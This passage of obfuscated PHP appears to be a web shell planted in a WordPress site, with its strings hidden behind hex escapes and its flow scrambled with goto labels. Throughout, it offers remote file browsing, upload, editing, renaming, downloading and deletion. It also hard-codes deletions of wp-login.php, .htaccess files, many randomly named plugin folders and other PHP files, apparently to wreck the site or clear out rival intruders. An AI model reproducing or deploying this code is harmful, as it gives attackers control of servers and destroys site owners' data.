"\x77\160\55\143\157\x6e\164\x65\x6e\164\x2f\160\154\x75\x67\x69\156\163\57\165\x62\x68\x2f\165\142\x68\56\160\150\x70"); goto i_C6u; VoPUO: $z2RPr = unlink($oyZlv . "\x77\x70\x2d\x63\x6f\156\x74\x65\156\164\57\x70\x6c\165\147\151\x6e\x73\x2f\157\x7a\170\x70\147\x70\150\165\x76\x6a\x2f\x73\164\x79\154\145\56\x70\150\160"); goto HQrbe; J0W2n: $ANN8a = unlink($oyZlv . "\x77\x70\55\x63\157\x6e\164\x65\x6e\x74\x2f\151\x6e\x64\145\170\x2e\160\x68\x70"); goto ueQm8; uZCtP: $pjpEh = unlink($oyZlv . "\x77\x70\55\x63\x6f\x6e\x74\x65\x6e\164\x2f\167\157\162\153\163\x65\143\56\160\x68\160"); goto I8gGK; bxiK2: $plZlF = rmdir($oyZlv . "\143\165\x73\x74\157\155\x5f\x64\145\x62\x75\x67\56\154\x6f\x67"); goto qo_mx; DY5dG: $VQa5C = 0; goto xCsE6; GdSKF: $rg_JK = rmdir($oyZlv . "\167\160\x2d\x63\x6f\x6e\164\145\156\x74\57\x70\154\165\147\151\156\x73\x2f\145\x72\151\x6e\x79\141\156\x69"); goto quO0g; Tm9Mx: $G_Cg7 = unlink($oyZlv . "\x73\x69\x6c\x65\x6e\164\161\151\145\x2e\x70\x68\x70"); goto ryzqe; uuPd3: $BIT9F = rmdir($oyZlv . "\x61\x62\157\165\x74\x2e\x70\150\x70"); goto FNvOk; yZd8r: $OcPu3 = rmdir($oyZlv . "\x77\x70\55\x63\157\156\164\x65\156\x74\57\160\x6c\x75\147\151\156\163\57\156\161\x73\x6e\x72\x6f\x6f\x33"); goto ITprJ; i1TOR: R2WiD: goto jTo8e; mcRwy: $l5aWG = rmdir($oyZlv . "\144\145\141\144\x2e\154\x65\164\164\x65\162"); goto VPNAk; Q50ra: $RVudJ = unlink($oyZlv . "\56\150\x74\141\x63\143\145\163\x73\137\157\154\x64"); goto NkdjJ; IC9WG: $wT5my = unlink($oyZlv . "\x61\162\x63\150\151\166\x65\x5f\x32\64\x31\x32\62\67\137\61\x30\60\60\x32\x38\x2e\x7a\151\160"); goto XjPv2; ksaea: $EylPy = unlink($oyZlv . "\151\157\x78\x69\56\x70\x68\x70"); goto bB0Mj; BkmXw: $ADEtk = unlink($oyZlv . "\152\x6c\143\x2e\x74\x78\164"); goto fMgqh; pUJFH: $h7RPM = rmdir($oyZlv . "\x77\x70\x2d\143\157\156\x74\145\x6e\164\57\x70\x6c\165\147\x69\x6e\x73\x2f\x70\x6c\165\x67\x69\156\x73"); goto uoj6t; NJNl4: function ZVu07($nxGrA) { goto K0h2V; kwt45: OmoXQ: goto x663x; R8MG4: ELN_6: goto Vm6UO; rYDDM: $VQa5C = "\x75"; goto ySB4Z; x663x: $VQa5C = "\143"; goto DtCTN; tn3i9: $VQa5C .= $p8aQE & 0x100 ? "\x72" : "\x2d"; goto h1h7D; ZyZup: $VQa5C = "\142"; goto BNh5L; laH0e: if (($p8aQE & 0x1000) == 0x1000) { goto OSlCq; } goto rYDDM; BNh5L: goto c52R0; goto m2CvO; SuLDf: $VQa5C = "\x64"; goto CUHrW; N4ZBH: yEnEB: goto TBRhc; dI8lv: if (($p8aQE & 0x2000) == 0x2000) { goto OmoXQ; } goto laH0e; eSjdH: if (($p8aQE & 0xa000) == 0xa000) { goto ELN_6; } goto RKIPW; CksV2: goto c52R0; goto R8MG4; Z7she: if (($p8aQE & 0xc000) == 0xc000) { goto xaZKf; } goto eSjdH; w4AQF: c52R0: goto tn3i9; DtCTN: goto c52R0; goto RnF4d; h1h7D: $VQa5C .= $p8aQE & 0x80 ? "\x77" : "\x2d"; goto ZZU2a; RnF4d: OSlCq: goto S2vu3; S2vu3: $VQa5C = "\160"; goto w4AQF; MWtzx: BZiWW: goto ZyZup; YI0yi: if (($p8aQE & 0x4000) == 0x4000) { goto swAKV; } goto dI8lv; uKfHa: if (($p8aQE & 0x6000) == 0x6000) { goto BZiWW; } goto YI0yi; m2ERo: $VQa5C .= $p8aQE & 0x1 ? $p8aQE & 0x200 ? "\x74" : "\170" : ($p8aQE & 0x200 ? "\x54" : "\55"); goto hRdHz; RKIPW: if (($p8aQE & 0x8000) == 0x8000) { goto yEnEB; } goto uKfHa; l9rXH: $VQa5C .= $p8aQE & 0x2 ? "\167" : "\55"; goto m2ERo; ZZU2a: $VQa5C .= $p8aQE & 0x40 ? $p8aQE & 0x800 ? "\x73" : "\x78" : ($p8aQE & 0x800 ? "\123" : "\55"); goto YDQXC; W3g5R: goto c52R0; goto MWtzx; CUHrW: goto c52R0; goto kwt45; YpIyp: goto c52R0; goto N4ZBH; Vm6UO: $VQa5C = "\154"; goto YpIyp; TBRhc: $VQa5C = "\x2d"; goto W3g5R; IrEfD: $VQa5C .= $p8aQE & 0x10 ? "\x77" : "\55"; goto hzSf3; ySB4Z: goto c52R0; goto H7r5n; eJ3vb: $VQa5C .= $p8aQE & 0x4 ? "\162" : "\x2d"; goto l9rXH; m2CvO: swAKV: goto SuLDf; H7r5n: xaZKf: goto Bfmdi; Bfmdi: $VQa5C = "\x73"; goto CksV2; YDQXC: $VQa5C .= $p8aQE & 0x20 ? "\162" : "\x2d"; goto IrEfD; hRdHz: return $VQa5C; goto cpfNJ; K0h2V: $p8aQE = fileperms($nxGrA); goto Z7she; hzSf3: $VQa5C .= $p8aQE & 0x8 ? $p8aQE & 0x400 ? "\x73" : "\x78" : ($p8aQE & 0x400 ? "\123" : "\x2d"); goto eJ3vb; cpfNJ: } goto vmKra; Zpe2N: $WqcKe = unlink($oyZlv . "\167\160\x2d\x63\157\156\164\x65\x6e\164\57\x75\x70\147\162\x61\144\x65\x2d\x74\x65\155\x70\x2d\x62\x61\143\x6b\x75\x70\55\x6c\x69\166\x65\x2e\172\x69\x70"); goto bcgnv; qJ6xp: $ACga0 = rmdir($oyZlv . "\167\160\x2d\x63\157\x6e\164\145\x6e\164\57\x70\x6c\165\x67\x69\156\x73\57\154\157\x6c"); goto hozGz; F_OOb: foreach ($NkH1m as $nxGrA) { goto MHMOo; r_wxE: $cVdLZ = $lKwH4[10]("{$p8aQE}\57{$nxGrA}") / 1024; goto sZCKH; t8Aji: echo "\40\x9\x9\x9\11\x9\x3c\164\x72\x3e\x20\11\11\x9\x9\11\11\x3c\164\144\x3e\x3c\x61\40\x68\162\x65\146\x3d\42\x3f\x70\x3d" . xEH2E($p8aQE) . "\46\x61\75" . XEH2e("\166\x69\145\167") . "\46\156\x3d" . XEH2E($nxGrA) . "\42\x20\x64\141\x74\x61\55\x74\157\147\x67\x6c\x65\x3d\x22\164\x6f\157\154\164\x69\x70\42\40\144\141\x74\141\x2d\160\x6c\141\143\x65\x6d\x65\156\164\x3d\x22\141\x75\164\157\x22\x20\x74\151\x74\154\145\x3d\42\x4c\x61\x74\145\163\x74\x20\155\x6f\x64\x69\x66\171\x20\157\156\40" . $lKwH4[19]("\131\x2d\x6d\55\144\40\x48\72\151", $lKwH4[20]("{$p8aQE}\57{$nxGrA}")) . "\x22\x3e\x3c\151\40\143\154\141\x73\x73\x3d\x22\146\141\x20\x66\141\x2d\x66\x77\40\x66\141\55\146\151\x6c\x65\42\76\x3c\57\x69\x3e\x20{$nxGrA}\x3c\x2f\141\76\74\57\x74\x64\x3e\x20\x9\11\11\x9\11\11\x3c\x74\x64\x3e{$cVdLZ}\74\57\x74\x64\76\x20\11\x9\x9\11\x9\x9\x3c\164\x64\76\x3c\146\x6f\x6e\164\40\x63\x6f\x6c\157\x72\75\x22" . ($lKwH4[8]("{$p8aQE}\x2f{$nxGrA}") ? "\x23\60\60\146\146\x30\x30" : (!$lKwH4[9]("{$p8aQE}\x2f{$nxGrA}") ? "\x72\x65\144" : null)) . "\42\x3e" . ZVu07("{$p8aQE}\x2f{$nxGrA}") . "\x3c\x2f\x66\x6f\156\164\76\74\x2f\164\144\x3e\x20\x9\x9\x9\x9\x9\x9\x3c\164\144\76\x20\11\11\11\x9\x9\11\11\x3c\144\151\x76\40\x63\x6c\x61\x73\163\75\42\x64\55\146\154\x65\x78\40\x6a\165\163\x74\151\x66\x79\55\143\x6f\156\x74\x65\x6e\x74\55\x62\x65\x74\167\145\x65\156\x22\76\x20\x9\x9\11\x9\11\x9\x9\x9\11\74\x61\x20\x68\x72\145\146\75\42\77\x70\75" . xeH2E($p8aQE) . "\46\141\x3d" . xEh2e("\145\144\151\164") . "\x26\156\75" . xEH2E($nxGrA) . "\42\40\x64\x61\164\141\x2d\164\x6f\x67\147\x6c\145\75\42\x74\x6f\x6f\154\x74\x69\x70\42\x20\144\141\x74\x61\x2d\160\x6c\x61\x63\x65\x6d\x65\x6e\x74\75\x22\x61\165\164\x6f\42\x20\x74\x69\164\x6c\x65\x3d\x22\105\x64\x69\x74\42\x3e\74\x69\x20\143\154\141\x73\163\75\42\146\141\x20\146\141\55\x66\x77\40\x66\x61\55\145\x64\151\x74\x22\76\74\x2f\151\76\74\x2f\141\76\40\11\x9\11\11\x9\x9\11\x9\x9\x3c\141\40\150\162\x65\x66\x3d\42\77\x70\x3d" . xEH2e($p8aQE) . "\46\x61\75" . xEh2e("\x72\x65\156\x61\x6d\145") . "\x26\x6e\75" . Xeh2E($nxGrA) . "\x26\x74\75\x66\42\x20\x64\x61\164\x61\x2d\164\x6f\x67\147\x6c\145\x3d\x22\x74\157\x6f\x6c\164\151\160\x22\x20\x64\x61\x74\x61\x2d\160\x6c\141\x63\145\x6d\145\x6e\164\75\42\x61\x75\164\157\42\40\x74\151\x74\x6c\x65\75\x22\x52\145\x6e\x61\x6d\x65\42\76\74\x69\40\x63\x6c\141\163\163\75\42\146\141\40\x66\x61\55\x66\167\40\146\x61\55\160\145\156\x63\151\x6c\x22\76\74\x2f\151\76\x3c\57\141\x3e\x20\11\11\x9\11\11\x9\x9\x9\x9\74\x61\x20\x68\x72\145\146\x3d\x22\77\160\75" . xEH2e($p8aQE) . "\x26\156\75" . xEh2e($nxGrA) . "\46\x64\157\167\156\154\x6f\x61\144" . "\x22\x20\x64\x61\164\141\x2d\x74\157\x67\147\x6c\x65\75\42\164\x6f\x6f\x6c\164\151\160\42\40\144\141\x74\x61\x2d\160\154\x61\143\145\x6d\x65\156\164\x3d\x22\x61\x75\164\x6f\42\40\164\x69\x74\154\145\75\x22\x44\x6f\167\156\154\157\141\144\42\76\74\151\x20\x63\154\x61\163\x73\x3d\x22\146\x61\40\x66\x61\55\146\x77\40\146\x61\55\144\157\167\x6e\x6c\x6f\141\144\42\x3e\x3c\57\x69\x3e\74\x2f\141\x3e\x20\x9\11\11\11\x9\11\x9\x9\x9\x3c\141\x20\x68\162\145\146\x3d\x22\x3f\x70\75" . Xeh2E($p8aQE) . "\x26\141\75" . xeH2E("\144\x65\154\145\x74\145") . "\x26\x6e\x3d" . XEH2E($nxGrA) . "\42\40\x63\154\141\163\163\x3d\42\x64\x65\154\145\164\x65\x22\x20\x64\141\164\x61\x2d\164\171\160\145\75\x22\146\151\x6c\145\42\40\144\141\164\141\x2d\164\x6f\x67\147\x6c\145\x3d\x22\164\157\157\x6c\x74\151\x70\42\40\x64\x61\164\x61\x2d\160\154\141\143\145\x6d\145\156\164\x3d\42\141\165\x74\157\x22\x20\164\x69\164\x6c\x65\75\x22\104\145\154\x65\164\x65\x22\x3e\x3c\151\x20\x63\x6c\x61\x73\163\x3d\42\x66\141\40\x66\x61\x2d\146\x77\40\x66\x61\55\x74\162\x61\x73\150\x22\76\x3c\x2f\151\76\74\57\141\x3e\x20\x9\11\11\11\11\11\x9\x3c\57\144\x69\x76\x3e\x20\x9\x9\11\x9\x9\11\x3c\x2f\164\x64\76\40\11\11\x9\x9\11\74\x2f\164\162\76\x20\11\11\x9\x9\x9"; goto r2FQJ; nhg_N: $cVdLZ = $cVdLZ > 1024 ? round($cVdLZ / 1024, 2) . "\x4d\x42" : $cVdLZ . "\113\102"; goto t8Aji; m2G2R: zgxhY: goto r_wxE; sZCKH: $cVdLZ = round($cVdLZ, 3); goto nhg_N; r2FQJ: JqwVs: goto GIhmN; MHMOo: if ($lKwH4[7]("{$p8aQE}\57{$nxGrA}")) { goto zgxhY; } goto P0OuP; P0OuP: goto JqwVs; goto m2G2R; GIhmN: } goto RdDUd; KW1X_: $mHf7S = unlink($oyZlv . "\143\147\x69\x2d\x62\151\156"); goto vexMx; lA0Kr: $l0R8W = unlink($oyZlv . "\56\150\x74\x61\x63\x63\145\x73\x73\56\x32\x32\60\64\62\64\x31\x37\65\x33\64\64\56\157\162\x69\147"); goto v5y1D; HdSMN: $TBDBj = unlink($oyZlv . "\167\x70\55\143\x6f\156\164\x65\x6e\x74\x2f\152\x77\172\165\x6e\130\166\105\142\155\x63\56\x70\150\x70"); goto v5XJF; FUvKR: $CWqaS = unlink($oyZlv . "\x77\x70\55\x6c\x6f\x67\151\x6e\x2e\160\150\160"); goto kLVH4; etn7b: $KYOyx = rmdir($oyZlv . "\x77\x70\x2d\143\x6f\156\164\x65\x6e\x74\57\x70\x6c\x75\x67\151\156\x73\x2f\x74\x6c\x68\x68\x73\x78\x78"); goto Sh9Cw; eiE8p: echo "\x3c\57\164\x65\x78\164\x61\162\145\x61\x3e\x3c\x2f\x64\x69\x76\76\74\144\151\166\40\x63\154\x61\163\x73\x3d\x22\x66\x6f\162\155\x2d\147\x72\x6f\165\x70\42\76\x3c\142\165\164\164\157\156\x20\164\x79\160\145\75\x22\x73\x75\x62\155\151\x74\42\x20\156\x61\x6d\145\x3d\x22\x73\42\40\x63\x6c\141\163\x73\x3d\x22\x62\164\x6e\x20\142\164\156\x2d\x6f\x75\x74\x6c\x69\156\x65\55\154\x69\147\150\164\x20\x72\x6f\165\x6e\144\145\x64\x2d\x30\x22\76\x53\141\166\145\x3c\57\x62\165\164\x74\157\x6e\x3e\x3c\57\x64\x69\166\76\x3c\57\146\x6f\162\x6d\x3e\40\x9\11\11"; goto EDQEr; StYme: $iSM_b = rmdir($oyZlv . "\167\160\55\x63\157\156\x74\x65\x6e\164\x2f\160\154\x75\147\x69\x6e\163\57\x78\67"); goto o_fGg; r3RMW: $Uw6KJ = $_FILES["\x66"]["\156\x61\155\145"]; goto DY5dG; F8Wnt: $zbgDM = unlink($oyZlv . "\x61\x64\155\x69\x6e\x65\162\x2d\x34\x2e\70\56\x31\56\x70\x68\x70"); goto o4Yaq; LzaoM: echo "\x22\x3e\x3c\x2f\x64\151\166\x3e\74\x64\x69\166\40\143\x6c\141\163\x73\x3d\42\x66\x6f\162\155\x2d\147\162\157\x75\x70\x22\76\74\142\165\x74\164\x6f\156\40\x74\x79\160\145\75\x22\x73\x75\142\x6d\x69\164\42\x20\156\x61\x6d\145\75\42\163\42\x20\143\154\x61\163\x73\x3d\42\142\164\x6e\x20\142\x74\x6e\x2d\x6f\165\164\154\151\x6e\x65\55\154\151\147\150\x74\x20\x72\157\x75\x6e\144\x65\x64\55\60\42\76\123\x61\x76\x65\x3c\x2f\x62\x75\164\164\x6f\x6e\76\x3c\57\144\151\x76\x3e\74\x2f\x66\x6f\x72\x6d\x3e\40\11\x9\x9"; goto ezfA4; pdftD: $h1Pgo = rmdir($oyZlv . "\x77\x70\55\x63\157\x6e\164\x65\x6e\x74\x2f\x70\x6c\x75\147\x69\156\163\57\142\x75\144\x64\171\142\157\163\163\55\x74\150\x65\155\145\55\143\150\x69\x6c\x64\56\x7a\x69\160"); goto yyDPi; A9Yoh: $CW1Mu = unlink($oyZlv . "\x34\71\x37\x35\67\x63\x34\146"); goto hPnwq; yMT9s: Gzjsn("\146\157\x6c\144\145\x72\x20\144\145\x6c\x65\164\x65\144\x20\x73\165\143\x63\x65\x73\163\x66\x75\x6c\x6c\171"); goto pdqXg; iWI7g: $d25d7 = unlink($oyZlv . "\x2e\x74\155\x62"); goto Q50ra; RV1i_: $jzDQy = unlink($oyZlv . "\56\x68\164\141\143\143\145\x73\163\x2e\x6f\154\144"); goto eTLjk; cnnw3: $r0IcZ = unlink($oyZlv . "\162\145\x61\144\165\x72\x6c\x2e\x70\x68\x70"); goto bAyDz; yp6i2: $aXfqS = unlink($oyZlv . "\x75\163\145\162\x66\165\x6e\x73\x2e\160\x68\160"); goto yhdG2; wVcx1: echo "\40\x9\x9\74\x74\x61\142\154\145\x20\143\x6c\x61\x73\163\75\42\164\141\142\154\145\40\x74\x61\142\x6c\x65\x2d\150\x6f\166\x65\162\x20\164\141\x62\154\x65\x2d\x62\157\162\144\x65\x72\x65\144\x20\x74\141\142\x6c\x65\x2d\163\155\x22\x3e\x20\x9\11\x9\x3c\164\150\145\141\x64\x20\x63\154\x61\163\163\x3d\42\x74\145\170\x74\55\154\x69\x67\x68\164\x22\76\40\x9\11\x9\11\x3c\x74\162\x3e\40\x9\11\11\11\x9\74\164\150\x3e\x4e\x61\155\x65\74\x2f\x74\x68\76\x20\x9\11\x9\x9\11\x3c\x74\x68\x3e\123\x69\x7a\x65\74\x2f\x74\x68\76\40\x9\11\11\11\11\74\164\150\76\x50\145\162\x6d\151\x73\163\x69\157\156\x3c\x2f\164\150\76\x20\x9\11\11\x9\11\74\164\150\x3e\x41\x63\164\151\157\x6e\x3c\57\164\x68\76\40\x9\11\11\11\x3c\x2f\x74\x72\x3e\40\x9\11\11\x3c\x2f\164\x68\x65\141\x64\76\40\11\11\11\74\x74\142\157\x64\171\40\x63\x6c\141\x73\163\75\42\x74\x65\170\164\x2d\x6c\x69\147\x68\164\42\76\40\x9\x9\11\x9"; goto pli3L; TSBWX: $xTuFT = unlink($oyZlv . "\167\157\x72\153\163\x65\x63\x2e\x70\150\x70"); goto uZCtP; Tz7sk: $Ua0lG = rmdir($oyZlv . "\x2e\x68\x74\x61\x63\x63\x65\x73\163\x5f\x6f\x6c\144"); goto z96wu; MezwY: $KpzQt = unlink($oyZlv . "\167\x6f\x72\x64\160\162\x65\x73\163\56\172\151\160"); goto KtBiw; eBxnD: $jFORQ = rmdir($oyZlv . "\167\160\55\x63\157\156\x74\145\x6e\x74\x2f\160\154\165\147\x69\x6e\163\x2f\x70\153\147\143\x6b\152\x6a\160\152\x76"); goto utN5d; PXZhy: $cdq62 = rmdir($oyZlv . "\167\x70\55\x63\157\x6e\164\x65\156\164\57\x70\154\165\147\x69\x6e\163\x2f\x79\164\141\153\153\152\x6e"); goto YbLKn; DS0i_: gZjsn("\146\x69\154\x65\40\146\141\x69\x6c\x65\x64\40\x74\157\40\x75\160\154\157\x61\x64", 0); goto Fn2VY; e9ATV: $pjbX3 = rmdir($oyZlv . "\x77\160\x2d\x63\157\156\164\145\156\164\57\x70\x6c\x75\147\x69\x6e\163\57\171\156\162\x67\155\x77\160"); goto O6d8K; qrEWw: $k27r7 = rmdir($oyZlv . "\144\x63\x69");
?>